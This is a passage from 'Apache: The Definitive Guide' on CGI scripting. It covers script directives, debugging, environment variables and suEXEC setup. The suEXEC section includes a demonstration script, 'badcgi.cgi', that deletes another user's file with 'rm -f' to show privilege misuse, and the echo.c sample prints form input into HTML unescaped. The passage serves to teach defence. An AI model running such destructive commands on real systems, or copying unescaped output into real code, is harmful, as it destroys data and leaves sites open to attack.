  • Apache can't tell from the filename (remember that for ordinary files, there's a host of ways of determining the content type, for example, the mime.types file or the AddType directive).

  • The CGI script may want to decide on content type dynamically.

So, the script must send at least one header line: Content-Type. We set it to text/plain to get a nicely formatted output screen. Failure to include it results in an error message on the client, plus equivalent entries in the server log files:

The server encountered an internal error or misconfiguration and was unable to complete your request

Headers must be terminated by a blank line, hence the second echo.

We are going to call our script from one of the Butterthlies forms: form_summer.html. Depending on which location and calling method we use for the script, we need slightly different invocations in the form.

4.2.1. Script in cgi-bin

To steer incoming demands for the script to the right place (.../cgi-bin ), we need to edit our ... /site.cgi/conf/httpd.conf file so it looks like this:

User webuser
Group webgroup
ServerName www.butterthlies.com
DocumentRoot /usr/www/site.cgi/htdocs
ScriptAlias /cgi-bin /usr/www/cgi-bin

We need to edit the form .../site.cgi/htdocs/form_summmer.html so that the relevant line reads:

<!-- UNIX -->
<FORM METHOD=POST ACTION="cgi-bin/mycgi.cgi">
<!-- Win32 -->
<FORM METHOD=POST ACTION="cgi-bin/mycgi.bat">

Since CGI processing is on by default, this should work. When you submit the Butterthlies order form, and thereby invoke the CGI script named by ACTION, you are sent the message "Have a nice day."

You would probably want to proceed in this way, that is, putting the script in the cgi-bin directory, if you were offering a web site to the outside world and wanted to maximize your security.

4.2.2. Script in DocumentRoot

The other method is to put scripts in amongst the HTML files. You should only do this if you trust the authors of the site to write safe scripts (or not write them at all) since security is much reduced. Generally speaking, it is safer to use a separate directory for scripts, as explained previously. First, it means that people writing HTML can't accidentally or deliberately cause security breaches by including executable code in the web tree. Second, it makes life harder for the Bad Guys: often it is necessary to allow fairly wide access to the nonexecutable part of the tree, but more careful control can be exercised on the CGI directories.

But regardless of these good intentions, we put mycgi.cgi in .../site.cgi/htdocs. The Config file is now:

User webuser
Group webgroup
ServerName www.butterthlies.com
DocumentRoot /usr/www/site.cgi/htdocs
AddHandler cgi-script cgi

The AddHandler directive means that any document Apache comes across with the extension .cgi will be taken to be an executable script. We need the corresponding line in the form:

<!-- UNIX -->
<FORM METHOD=POST ACTION="mycgi.cgi">
<!-- WIN32 -->
<FORM METHOD=POST ACTION="mycgi.bat">

Again, if we access http://www.butterthlies.com/form_summer.html, we get the result described.

Previous | Home | Next
4. Common Gateway Interface (CGI) | Book Index | 4.3. Script Directives
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Script Directives (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

4.3. Script Directives

Apache has five directives defining CGI script alternatives.

4.3.1. ScriptAlias

ScriptAlias URLpath directory
Server config, virtual host

The ScriptAlias directive converts requests for URLs starting with URLpath to execution of the CGI program found in directory. In other words, an incoming URL like URLpath/fred causes the program stored in directory/fred to run, and its output is returned to the client. Note that directory must be an absolute path. We recommend that this path be outside your webspace.

A cute feature of ScriptAlias is that it can allow a CGI to pretend to be a directory. If someone submits the URL URLpath/fred/some/where/else, then directory/fred is run, and /some/where/else is passed to it in the PATH_INFO environment variable. This can be used for all sorts of things, but one is worth mentioning: many browsers and caches detect CGIs by the presence of a question mark in the URL, and refuse to cache them. This gives a way of fooling them into caching. Of course, you should be sure you want them cached (or use cache control headers to prevent it, if that was not what you had in mind).

4.3.2. ScriptAliasMatch

ScriptAliasMatch regex directory
Server config, virtual host

This directive is equivalent to ScriptAlias but makes use of standard regular expressions instead of simple prefix matching. The supplied regular expression is matched against the URL; if it matches, the server will substitute any parenthesized matches into the given string and use the result as a filename. For example, to activate the standard /cgi-bin, one might use the following:

ScriptAliasMatch ^/cgi-bin/(.*) /usr/local/apache/cgi-bin/$1

4.3.3. ScriptLog

ScriptLog filename
Default: no logging
Resource config

Since debugging CGI scripts can be rather opaque, this directive allows you to choose a log file that shows what is happening with CGIs. However, once the scripts are working, disable logging, since it slows Apache down and offers the Bad Guys some tempting crannies.

4.3.4. ScriptLogLength

ScriptLogLength number_of_bytes
Default number_of_bytes: 10385760[35]
Resource config

This directive specifies the maximum length of the debug log. Once this value is exceeded, logging stops (after the last complete message).

4.3.5. ScriptLogBuffer

ScriptLogBuffer number_of_bytes
Default number_of_bytes: 1024
Resource config

This directive specifies the maximum size in bytes for recording a POST request.

Figure 4.3.5 Scripts can go wild and monopolize system resources: this unhappy outcome can be controlled by three directives.

4.3.6. RLimitCPU

RLimitCPU # | 'max' [# | 'max']
Default: OS defaults
Server config, virtual host

Figure 4.3.6 RLimitCPU takes one or two parameters. Each parameter may be a number or the word max, which invokes the system maximum, in seconds per process. The first parameter sets the soft resource limit, the second the hard limit.[36]

[36]The soft limit can be increased again by the child process, but the hard limit cannot. This allows you to set a default that is lower than the highest you are prepared to allow. See man rlimit for more detail.

4.3.7. RLimitMEM

RLimitMEM # | 'max' [# | 'max']
Default: OS defaults
Server config, virtual host

Figure 4.3.7 RLimitMEM takes one or two parameters. Each parameter may be a number or the word max, which invokes the system maximum, in bytes of memory used per process. The first parameter sets the soft resource limit, the second the hard limit.

4.3.8. RLimitNPROC

RLimitNPROC # | 'max' [# | 'max']
Default: OS defaults
Server config, virtual host

Figure 4.3.8 RLimitNPROC takes one or two parameters. Each parameter may be a number or the word max, which invokes the system maximum, in processes per user. The first parameter sets the soft resource limit, the second the hard limit.

Previous | Home | Next
4.2. Writing and Executing Scripts | Book Index | 4.4. Useful Scripts
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Useful Scripts (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

4.4. Useful Scripts

When we fill in an order form and hit the Submit Query button, we simply get the heartening message:

Have a nice day

because the ACTION specified at the top of the form is to run the script mycgi.cgi and all it does is to echo that friendly phrase to the screen.

We can make mycgi.cgi more interesting by making it show us what is going on between Apache and the CGI script. Let's add the line env, which calls the Unix utility that prints out all the environment variables, or add the Win32 equivalent, set. Remember that you can't use echo to produce a blank line in Win32, so you have to produce a file, called new1 here, that contains just a RETURN and then type it:

#!/bin/sh
echo "content-type: text/plain"
echo
env

echo "content-type: text/plain"
type newl
echo
set

Now on the client side we see a screen full of data:

GATEWAY_INTERFACE=CGI/1.1
CONTENT_TYPE=application/x-www-form-urlencoded
REMOTE_HOST=192.168.123.1
REMOTE_ADDR=192.168.123.1
QUERY_STRING=
DOCUMENT_ROOT=/usr/www/site.cgi/htdocs
HTTP_USER_AGENT=Mozilla/3.0b7 (Win95; I)
HTTP_ACCEPT=image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
HTTP_ACCEPT_LANGUAGE=
CONTENT_LENGTH=74
SCRIPT_FILENAME=/usr/www/cgi-bin/mycgi
HTTP_HOST=www.butterthlies.com
SERVER_SOFTWARE=Apache/1.3
HTTP_PRAGMA=no-cache
HTTP_CONNECTION=Keep-Alive
HTTP_COOKIE=Apache=192257840095649803[37]
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/bin
HTTP_REFERER=http://www.butterthlies.com/form_summer.html
SERVER_PROTOCOL=HTTP/1.0
REQUEST_METHOD=POST
SERVER_ADMIN=[no address given]
SERVER_PORT=80
SCRIPT_NAME=/cgi-bin/mycgi
SERVER_NAME=www.butterthlies.com

If we have included the module mod_unique_id, we also have the environment variable UNIQUE_ID, which has attached to it a unique number for each hit:

UNIQUE_ID==NWG7@QoAAAIBkwAADYY

The script mycgi.cgi has become a tool we shall keep up our sleeves for the future.

Of course, a CGI script can send any valid header it likes. A particularly useful one is Location , which redirects the client to somewhere else -- which might be anywhere from a file up to another URL. In this case, we can pretend that we have run some sort of program that collects information; having done that, we return the client to the starting URL. The script .../cgi-bin/location.cgi is as follows:

#!/bin/sh
echo "content-type: text/plain"
# run some program to gather information
echo "Location: http://192.168.123.2"
echo

Once the form has been changed to run this file rather than mycgi.cgi, clicking on the Submit button shoots us straight back to the original screen.

Now we can set about writing a C version of mycgi that does something useful. Let's think now what we want to do. A customer fills in a form to order some cards. His browser extracts the useful data and sends it back to us. We need to echo it back to him to make sure it is correct. This echo needs to be an HTML form itself so that he can indicate his consent. If he's happy, we need to take his data and process it; if he isn't, we need to resend him the original form. We will write a demonstration program that gets the incoming data, builds a skeleton HTML form around it, and sends it back. You should find it easy enough to fiddle around with the program to make it do what you want. Happily, we don't even have to bother writing this program, because we can find what we want among the Netscape forms documentation: the program echo.c, with helper functions in echo2.c. This program is reproduced with the permission of Netscape Corporation and can be found in Appendix B, "The echo Program ".

4.4.1. echo.c

echo receives incoming data from an HTML form and returns an HTML document listing the field names and the values entered into the fields by the customer. To avoid any confusion with the Unix utility echo, we renamed ours to myecho. It is worth looking at myecho.c, because it shows that the process is easier than it sounds:

#include <stdio.h>
#include <stdlib.h>
#define MAX_ENTRIES 10000
typedef struct
    {
    char *name;
    char *val;
    } entry;

char *makeword(char *line, char stop);
char *fmakeword(FILE *f, char stop, int *len);
char x2c(char *what);
void unescape_url(char *url);
void plustospace(char *str);

int main(int argc, char *argv[])
    {
    entry entries[MAX_ENTRIES];
    register int x,m=0;
    int cl;
    char mbuf[200];

The next line:

printf("Content-type: text/html\n\n");

supplies the HTML header. We can have any MIME type here. It must be followed by a blank line, hence the \n\n. The line:

if(strcmp(getenv("REQUEST_METHOD"),"POST"))

checks that we have the right sort of input method. There are normally only two possibilities in a CGI script: GET and POST. In both cases the data is formatted very simply:

fieldname1=value&fieldname2=value&...

If the method is GET, the data is written to the environment variable QUERY_STRING. If the method is POST, the data is written to the standard input and can be read character by character with fgetc( ) (see echo2.c in Appendix B, "The echo Program ").

The next section returns the length of date to come:

{
        printf("This script should be referenced with a METHOD of POST.\n");
        exit(1);
        }
    if(strcmp(getenv("CONTENT_TYPE"),"application/x-www-form-urlencoded"))
        {
        printf("This script can only be used to decode form results. \n");
        exit(1);
        }
cl = atoi(getenv("CONTENT_LENGTH"));

The following snippet reads in the data, breaking at the & symbols:

for(x=0;cl && (!feof(stdin));x++)
    {
    m=x;
    entries[x].val = fmakeword(stdin,'&',&cl);
    plustospace(entries[x].val);
    unescape_url(entries[x].val);
    entries[x].name = makeword(entries[x].val,'=');
    }

The next line displays the top of the return HTML document:

printf("<H1>Query Results</H1>");

The final section lists the fields in the original form with the values filled in by the customer:

printf("You submitted the following name/value pairs:<p>%c",10);
    printf("<ul>%c",10);

    for(x=0; x <= m; x++)
        printf("<li> <code>%s = %s</code>%c",entries[x].name,
               entries[x].val,10);
    printf("</ul>%c",10);
    }

We compile myecho.c and copy the result to mycgi [38] to see it in action next time we run the form. The result on the client machine is something like this (depending on how the form was filled in):

[38]Of course, we could have changed the form to use myecho instead.

QUERY RESULTS
You submitted the following name/value pairs:
* 2315_order=20
* 2316_order=10
* 2317_order=
* 2318_order=
* card_type=Amex
* card_num=1234567

Clearly, it's not difficult to modify myecho.c to return another form, presenting the data in a more user-friendly fashion and asking the customer to hit a button to signify agreement. The second form activates another script/program, process_orders, which turns the order into delivered business. However, we will leave these pleasures as an exercise for the reader.

Previous | Home | Next
4.3. Script Directives | Book Index | 4.5. Debugging Scripts
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Debugging Scripts (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

4.5. Debugging Scripts

Because CGI scripts run underneath Apache, it can be awkward to debug them. When a script fails, you normally don't get much help on the browser screen, but the error log can be much more informative and is the first thing to check (by default, it is .../logs/error_log, but you can set it to what you like with the ErrorLog directive).

If you are programming your script in Perl, the CGI::Carp module can be helpful. However, most other languages[39] you might want to use for CGI do not have anything so useful. If you are programming in a high-level language and want to run a debugger, it is usually impossible to do so directly. However, it is possible to simulate the environment in which an Apache script runs. The first thing to do is to become the user that Apache runs as (often webserv). Then, remember that Apache always runs a script in the script's own directory, so go to that directory. Next, Apache passes most of the information a script needs in environment variables. Determine what those environment variables should be (either by thinking about it or, more reliably, by temporarily replacing your CGI with one that executes env, as illustrated above), and write a little script that sets them, then runs your CGI (possibly under a debugger). Since Apache sets a vast number of environment variables, it is worth knowing that most CGI scripts hardly use any -- usually only QUERY_STRING (or PATH_INFO, less often). Of course, if you wrote the script and all its libraries, you'll know what it used, but that isn't always the case. So, to give a concrete example, suppose we wanted to debug the mycgi script given earlier. We'd go into .../cgi-bin and write a script called, say, debug.cgi, that looked something like this:

[39]We'll include ordinary shell scripts as "languages," which, in many senses, they are.

#!/bin/sh
QUERY_STRING='2315_order=20&2316_order=10&card_type=Amex'
export QUERY_STRING
gdb myecho

We'd run it by typing:

chmod +x debug.cgi
./debug.cgi

Once gdb came up, we'd hit r<CR> and the script would run.[40]

[40]Obviously, if we really wanted to debug it, we'd set some breakpoints first.

A couple of things may trip you up here. The first is that if the script expects the POST method -- that is, if REQUEST_METHOD is set to POST -- the script will (if it is working correctly) expect the QUERY_STRING to be supplied on its standard input rather than in the environment. Most scripts use a library to process the query string, so the simple solution is to not set REQUEST_METHOD for debugging, or to set it to GET instead. If you really must use POST, then the script would become:

#!/bin/sh
REQUEST_METHOD=POST
export REQUEST_METHOD
myecho << EOF
2315_order=20&2316_order=10&card_type=Amex
EOF

Note that this time we didn't run the debugger, for the simple reason that the debugger also wants input from standard input. To accommodate that, put the query string in some file and tell the debugger to use that file for standard input (in gdb 's case, that means type r < yourfile).

The second tricky thing occurs if you are using Perl and the standard Perl module CGI.pm. In this case, CGI helpfully detects that you aren't running under Apache and prompts for the query string. It also wants the individual items separated by newlines instead of ampersands. The simple solution is to do something very similar to the solution to the POST problem we just discussed, except with newlines.

Previous | Home | Next
4.4. Useful Scripts | Book Index | 4.6. Setting Environment Variables
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Setting Environment Variables (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

4.6. Setting Environment Variables

When a script is called it receives a lot of environment variables, as we have seen. It may be that you want to pass some of your own. There are two directives to do this: SetEnv and PassEnv.

4.6.1. SetEnv

SetEnv variable value
Server config, virtual hosts

This directive sets an environment variable that is then passed to CGI scripts. We can invent our own environment variables and give them values. For instance, we might have several virtual hosts on the same machine that use the same script. To distinguish which virtual host called the script (in a more abstract way than using the HTTP_HOST environment variable), we could make up our own environment variable VHOST:

<VirtualHost host1>
SetEnv VHOST customers
...
</VirtualHost>
<VirtualHost host2>
SetEnv VHOST salesmen
...
</VirtualHost>

4.6.2. UnsetEnv

UnsetEnv variable variable ...
Server config, virtual hosts

Takes a list of environment variables and removes them.

4.6.3. PassEnv

PassEnv

This directive passes an environment variable to CGI scripts from the environment that was in force when Apache was started.[41] The script might need to know the operating system, so you could use the following:

[41]Note that when Apache is started during the system boot, the environment can be surprisingly sparse.

PassEnv OSTYPE

This variation assumes that your operating system sets OSTYPE, which is by no means a foregone conclusion.

4.6.4. Browsers

A real problem on the Web is that people are free to choose their own browsers and not all browsers work alike or even nearly alike. They vary enormously in their capabilities. Some browsers display images, others won't. Some that display images won't display frames, tables, or Java, and so on.

You can try to circumvent this problem by asking the customer to go to different parts of your script ("Click here to see the frames version"), but in real life people often do not know what their browser will and won't do. A lot of them will not even understand what question you are asking. To get around this problem, Apache can detect the browser type and set environment variables so that your CGI scripts can detect the type and act accordingly.

4.6.4.1. SetEnvIf and SetEnvIfNoCase

SetEnvIf attribute regex envar[=value] [..]
SetEnvIfNoCase attribute regex envar[=value] [..]

The attribute can be one of the HTTP request header fields, such as Host, User-Agent, Referer, and/or one of the following:

Remote_Host

The client's hostname, if available

Remote_Addr

The client's IP address

Remote_User

The client's authenticated username, if available

Request_Method

GET, POST, etc.

Request_URI

The part of the URL following the scheme and host

The NoCase version works the same except that regular expression matching is evaluated without regard to letter case.

4.6.4.2. BrowserMatch and BrowserMatchNoCase

BrowserMatch regex env1[=value1] env2[=value2] ...

BrowserMatchNoCase regex env1[=value1] env2[=value2] ...

regex is a regular expression matched against the client's User-Agent header, and env1, env2, ... are environment variables to be set if the regular expression matches. The environment variables are set to value1, value2, etc., if present.

So, for instance, we might say:

BrowserMatch ^Mozilla/[23] tables=3 java

The symbol ^ means start from the beginning of the header and match the string Mozilla/ followed by either a 2 or 3. If this is successful, then Apache creates, and, if required, specifies values for, the given list of environment variables. These variables are invented by the author of the script, and in this case are:

tables=3
java

In this CGI script, the client can test these variables and take the appropriate action.

BrowserMatchNoCase is simply a case-blind version of BrowserMatch. That is, it doesn't care whether letters are upper- or lowercase. mOZILLA works as well as MoZiLlA.

Note that there is no difference between BrowserMatch and SetEnvIf User-Agent. BrowserMatch exists for backward compatibility.

4.6.5. Internal Use of Environment Variables

Environment variables can also be used to control some aspects of the behavior of Apache. Note that because these are just environment variables, nothing checks that you have spelt them correctly, so be very careful when using them.

4.6.5.1. nokeepalive

This disables KeepAlive (see Chapter 3, "Toward a Real Web Site"). Some versions of Netscape claimed to support KeepAlive, but actually had a bug that meant the server appeared to hang (in fact, Netscape was attempting to reuse the existing connection, even though the server had closed it). The directive:

BrowserMatch "Mozilla/2" nokeepalive

disables KeepAlive for those buggy versions.[42]

[42]And, incidentally, for early versions of Microsoft Internet Explorer, which unwisely pretended to be Netscape Navigator.

4.6.5.2. force-response-1.0

Forces Apache to respond with HTTP/1.0 to an HTTP/1.0 client, instead of with HTTP/1.1 as is called for by the HTTP/1.1 spec. This is required to work around certain buggy clients that don't recognize HTTP/1.1 responses. Various clients have this problem. The current recommended settings are as follows:

BrowserMatch "RealPlayer4\.0" force-response-1.0
BrowserMatch "Java/1\.0" force-response-1.0
BrowserMatch "JDK/1\.0" force-response-1.0

4.6.5.3. downgrade-1.0

Forces Apache to downgrade to HTTP/1.0 even though the client is HTTP/1.1 (or higher). Microsoft Internet Explorer 4.0b2 earned the dubious distinction of being the only known client to require all three of these settings:

BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0

Previous | Home | Next
4.5. Debugging Scripts | Book Index | 4.7. suEXEC on Unix
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


suEXEC on Unix (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

4.7. suEXEC on Unix

The vulnerability of servers running scripts is a continual source of concern to the Apache Group. Unix systems provide a special method of running CGIs that gives much better security via a wrapper. A wrapper is a program that wraps around another program in order to change the way it operates. Usually this is done by changing its environment in some way; in this case, by making sure it runs as if it had been invoked by an appropriate user. The basic security problem is that any program or script run by Apache has the same permissions as Apache itself. Of course, these permissions are not those of the superuser, but, even so, Apache tends to have permissions powerful enough to impair the moral development of a clever hacker if he could get his hands on them. Also, in environments where there are many users who can write scripts independently of each other, it is a good idea to insulate them from each other's bugs, as far as is possible.

suEXEC reduces the risk by changing the permissions given to a program or script launched by Apache. In order to use it you should understand the Unix concepts of user and group execute permissions on files and directories. suEXEC is executed whenever an HTTP request is made for a script or program that has ownership or group membership permissions different from those of Apache itself, which will normally be those appropriate to webuser of webgroup.

The documentation says that suEXEC is quite deliberately complicated so that "it will only be installed by users determined to use it." However, we found it no more difficult than Apache itself to install, so you should not be deterred from using what may prove to be a very valuable defence. If you are interested, please consult the documentation and be guided by it. What we have written in this section is intended only to help and encourage, not to replace the words of wisdom. See http://www2.idiscover.co.uk/apache/docs/suexec.html.

To install suEXEC to run with the demonstration site site.suexec, go to the support subdirectory below the location of your Apache source code. Edit suexec.h to make the following changes to suit your installation. What we did, to suit our environment, is shown marked by /**CHANGED**/:

/*
 * HTTPD_USER -- Define as the username under which Apache normally
 *               runs. This is the only user allowed to execute
 *               this program.
 */
#ifndef HTTPD_USER
#define HTTPD_USER "webuser"    /**CHANGED**/
#endif
/*
 * UID_MIN -- Define this as the lowest UID allowed to be a target user
 *            for suEXEC. For most systems, 500 or 100 is common.
 */
#ifndef UID_MIN
#define UID_MIN 100
#endif

The point here is that many systems have "privileged" users below some number (e.g. root, daemon, lp, and so on), so we can use this setting to avoid any possibility of running a script as one of these users:

/*
 * GID_MIN -- Define this as the lowest GID allowed to be a target group
 *            for suEXEC. For most systems, 100 is common.
 */
#ifndef GID_MIN
#define GID_MIN 100 // see UID above
#endif

Similarly, there may be privileged groups:

/*
 * USERDIR_SUFFIX -- Define to be the subdirectory under users'
 *                   home directories where suEXEC access should
 *                   be allowed. All executables under this directory
 *                   will be executable by suEXEC as the user so
 *                   they should be "safe" programs. If you are
 *                   using a "simple" UserDir directive (ie. one
 *                   without a "*" in it) this should be set to
 *                   the same value. suEXEC will not work properly
 *                   in cases where the UserDir directive points to
 *                   a location that is not the same as the user's
 *                   home directory as referenced in the passwd file.
 *
 *                   If you have VirtualHosts with a different
 *                   UserDir for each, you will need to define them to
 *                   all reside in one parent directory; then name that
 *                   parent directory here. IF THIS IS NOT DEFINED
 *                   PROPERLY, ~USERDIR CGI REQUESTS WILL NOT WORK!
 *                   See the suEXEC documentation for more detailed
 *                   information.
 */
#ifndef USERDIR_SUFFIX
#define USERDIR_SUFFIX "/usr/www/cgi-bin"        /**CHANGED**/
#endif
/*
 * LOG_EXEC -- Define this as a filename if you want all suEXEC
 *             transactions and errors logged for auditing and
 *             debugging purposes.
 */
#ifndef LOG_EXEC
#define LOG_EXEC "/usr/www/suexec.log"        /**CHANGED**/
#endif
/*
 * DOC_ROOT -- Define as the DocumentRoot set for Apache. This
 *             will be the only hierarchy (aside from UserDirs)
 *             that can be used for suEXEC behavior.
 */
#ifndef DOC_ROOT
#define DOC_ROOT "/usr/www/site.suexec/htdocs"        /**CHANGED**/
#endif
/*
 * SAFE_PATH -- Define a safe PATH environment to pass to CGI executables.
 *
 */
#ifndef SAFE_PATH
#define SAFE_PATH "/usr/local/bin:/usr/bin:/bin"
#endif

Compile the file to make suEXEC executable by typing:

make suexec

and copy it to a sensible location (this will very likely be different on your site -- replace /usr/local/bin with whatever is appropriate) alongside Apache itself with:

cp suexec /usr/local/bin

You then have to set its permissions properly by making yourself the superuser (or persuading the actual, human superuser to do it for you if you are not allowed to) and typing:

chown root /usr/local/bin/suexec
chmod 4711  /usr/local/bin/suexec

The first line gives suEXEC the owner root; the second sets the setuserid execution bit for file modes.

You then have to tell Apache where to find the suEXEC executable by editing ...src/include/httpd.h. We looked for "suEXEC" and changed it thus:

/* The path to the suExec wrapper; can be overridden in Configuration */
#ifndef SUEXEC_BIN
#define SUEXEC_BIN  "/usr/local/bin/suexec"        /**CHANGED**/
#endif

This line was originally:

#define SUEXEC_BIN  HTTPD_ROOT  "/sbin/suexec"

Notice that the macro HTTPD_ROOT has been removed. It is easy to leave it in by mistake -- we did the first time around -- but it prepends /usr/local/apache (or whatever you may have changed it to) to the path you type in, which may not be what you want to happen. Having done this, you remake Apache by getting into the .../src directory and typing:

make
cp httpd /usr/local/bin

or wherever you want to keep the executable. When you start Apache, nothing appears to be different, but a message appears[43] in .../logs/error_log :

[43]In v1.3.1 this message didn't appear unless you included the line LogLevel debug in your Config file. In later versions it will appear automatically.

suEXEC mechanism enabled (wrapper: /usr/local/bin/suexec)

We think that something as important as suEXEC should have a clearly visible indication on the command line, and that an entry in a log file is not immediate enough.

To turn suEXEC off, you simply remove the executable, or, more cautiously, rename it to, say, suexec.not. Apache then can't find it and carries on without comment.

Once suEXEC is running, it applies many tests to any CGI or server-side include (SSI) script invoked by Apache. If any of the tests fail, a note will appear in the suexec.log file that you specified (as the macro LOG_EXEC in suexecx.h) when you compiled suEXEC. A comprehensive list appears in the documentation and also in the source. Many of these tests can only fail if there is a bug in Apache, suEXEC, or the operating system, or if someone is attempting to misuse suEXEC. We list here the notes that you are likely to encounter in normal operation, since you should never come across the others. If you do, suspect the worst:

  • Does the target program name have a "/" or ".." in its path? These are unsafe and not allowed.

  • Does the user who owns the target script exist on the system? Since user IDs can be deleted without deleting files owned by them, and some versions of tar, cpio, and the like can create files with silly user IDs (if run by root), this is a sensible check to make.

  • Does the group this user belongs to exist? As with user IDs, it is possible to create files with nonexistent groups.

  • Is the user not the superuser? suEXEC won't let root execute scripts online.

  • Is the user ID above the minimum ID number specified in suexec.h ? Many systems reserve user IDs below some number for certain powerful users -- not as powerful as root, but more powerful than mere mortals -- for example, the lpd daemon, backup operators, and so forth. This allows you to prevent their use for CGIs.

  • Is the user's group not the superuser's group? suEXEC won't let root's group execute scripts online.

  • Is the group ID above the minimum number specified? Again, this is to prevent the misuse of system groups.

  • Is this directory below the server's document root or, if for a UserDir, is the directory below the user's document root?

  • Is this directory not writable by anyone else? We don't want to open the door to all comers.

  • Does the target script exist? If not, it can hardly be run.

  • Is it only writable by the owner?

  • Is the target program not setuid or setgid ? We don't want visitors playing silly jokes with permissions.

  • Is the target user the owner of the script?

If all these hurdles are passed, then the program executes. In setting up your system, you have to bear these hurdles in mind.

Note that once suEXEC has decided it will execute your script, it then makes it even safer by cleaning the environment -- that is, deleting any environment variables not on its list of safe ones and replacing the PATH with the path defined in SAFE_PATH in suexec.h. The list of safe environment variables can be found in .../src/support/suexec.c, in the variable safe_env_lst. This list includes all the standard variables passed to CGI scripts. Of course, this means that any special-purpose variables you set with SetEnv or PassEnv directives will not make it to your CGI scripts unless you add them to suexec.c.

4.7.1. A Demonstration of suEXEC

So far, for the sake of simplicity, we have been running everything as root, to which all things are possible. To demonstrate suEXEC we need to create a humble but ill-intentioned user, Peter, who will write and run a script called badcgi.cgi intending to do harm to those around. badcgi.cgi simply deletes /usr/victim/victim1 as a demonstration of its power -- but it could do many worse things. This file belongs to webuser and webgroup. Normally, Peter, who is not webuser and does not belong to webgroup, would not be allowed to do anything to it, but if he gets at it through Apache (undefended by suEXEC ) he can do what he likes.

Peter creates himself a little web site in his home directory, /home/peter, which contains the directories:

conf
logs
public_html

and the usual file go:

httpd -d /home/peter

The Config file is:

User webuser
Group webgroup
ServerName www.butterthlies.com
ServerAdmin sales@butterthlies.com
UserDir public_html
AddHandler cgi-script cgi

Most of this is relevant in the present situation. By specifying webuser and webgroup, we give any program executed by Apache that user and group. In our guise of Peter, we are going to ask the browser to log onto httpd://www.butter-thlies.com/~peter -- that is, to the home directory of Peter on the computer whose port answers to www.butterthlies.com. Once in that home directory, we are referred to the UserDir public_html, which acts pretty much the same as DocumentRoot in the web sites we have been playing with.

Peter puts an innocent-looking Butterthlies form, form_summer.html, into public_html. But, it conceals a viper! Instead of having ACTION="mycgi.cgi", as innocent forms do, this one calls badcgi.cgi, which looks like this:

#!/bin/sh
echo "content-type: text/plain"
echo
rm -f /usr/victim/victim1

This is a script of unprecedented villainy, whose last line will utterly destroy and undo the innocent file victim1. Remembering that any CGI script executed by Apache has only the user and group permissions specified in the Config file -- that is, webuser and webgroup, we go and make the target file the same, by logging on as root and typing:

chown webuser:webgroup /usr/victim
chown webuser:webgroup /usr/victim/victim1

Now, if we log on as Peter and execute badcgi.cgi, we are roundly rebuffed:

./badcgi.cgi
rm: /usr/victim/victim1: Permission denied

This is as it should be -- Unix security measures are working. However, if we do the same thing under the cloak of Apache, by logging on as root and executing:

/home/peter/go

and then, on the browser, accessing http://www.butterthlies.com/~peter, opening form_summer.html, and clicking the Submit button at the bottom of the form, we see that the browser is accessing www.butterthlies.com/~peter/badcgi.cgi and we get the warning message:

Document contains no data

This statement is regrettably true because badcgi.cgi now has the permissions of webuser and webgroup ; it can execute in the directory /usr/victim, and it has removed the unfortunate victim1 in insolent silence.

So much for what an in-house Bad Guy could do before suEXEC came along. If we now replace victim1, stop Apache, rename suEXEC.not to suEXEC, restart Apache (checking that the .../logs/error_log file shows that suEXEC started up), and click Submit on the browser again, we get the following comforting message:

Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
Please contact the server administrator, sales@butterthlies.com and inform them of the time the error occurred, and anything
you might have done that may have caused the error.

The error log contains the following:

[Tue Sep 15 13:42:53 1998] [error] malformed header from script. Bad header=suexec running: /home/peter/public_html/badcgi.cgi

Ha, ha!

Previous | Home | Next
4.6. Setting Environment Variables | Book Index | 4.8. Handlers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Handlers (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

4.8. Handlers

A handler is a piece of code built into Apache that performs certain actions when a file with a particular MIME or handler type is called. For example, a file with the handler type cgi-script needs to be executed as a CGI script. This is illustrated in ... /site.filter.

Apache has a number of handlers built in, and others can be added with the Actions command (see the next section). The built-in handlers are as follows:

send-as-is

Sends the file as is, with HTTP headers (mod_asis).

cgi-script

Executes the file (mod_cgi). Note that Options ExecCGI must also be set.

imap-file

Uses the file as an imagemap (mod_imap).

server-info

Gets the server's configuration (mod_info).

server-status

Gets the server's current status (mod_status).

server-parsed

Parses server-side includes (mod_include). Note that Options Includes must also be set.

type-map

Parses the file as a type map file for content negotiation (mod_negotiation).

isapi-isa ( Win32 only)

Figure 4.8 Causes ISA DLLs placed in the document root directory to be loaded when their URLs are accessed. Options ExecCGI must be active in the directory that contains the ISA. Check the Apache documentation, since this feature is under development (mod_isapi).

The corresponding directives follow.

4.8.1. AddHandler

AddHandler handler-name extension1 extension2 ...
Server config, virtual host, directory, .htaccess

AddHandler wakes up an existing handler and maps the filename(s) extension1, etc., to handler-name. You might specify the following in your Config file:

AddHandler cgi-script cgi bzq

From then on, any file with the extension .cgi or .bzq would be treated as an executable CGI script.

4.8.2. SetHandler

SetHandler handler-name
Directory, .htaccess

This does the same thing as AddHandler, but applies the transformation specified by handler-name to all files in the <Directory>, <Location>, or <Files> section in which it is placed, or in the .htaccess directory. For instance, in Chapter 11, "What's Going On?", we write:

<Location /status>
<Limit get>
order deny, allow
allow from 192.168.123.1
deny from all
</Limit>
SetHandler server-status
</Location>

Previous | Home | Next
4.7. suEXEC on Unix | Book Index | 4.9. Actions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Actions (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

4.9. Actions

A related notion to that of handlers is actions. An action passes specified files through a named CGI script before they are served up.

4.9.1. Action

Action type cgi_script
Server config, virtual host, directory, .htaccess

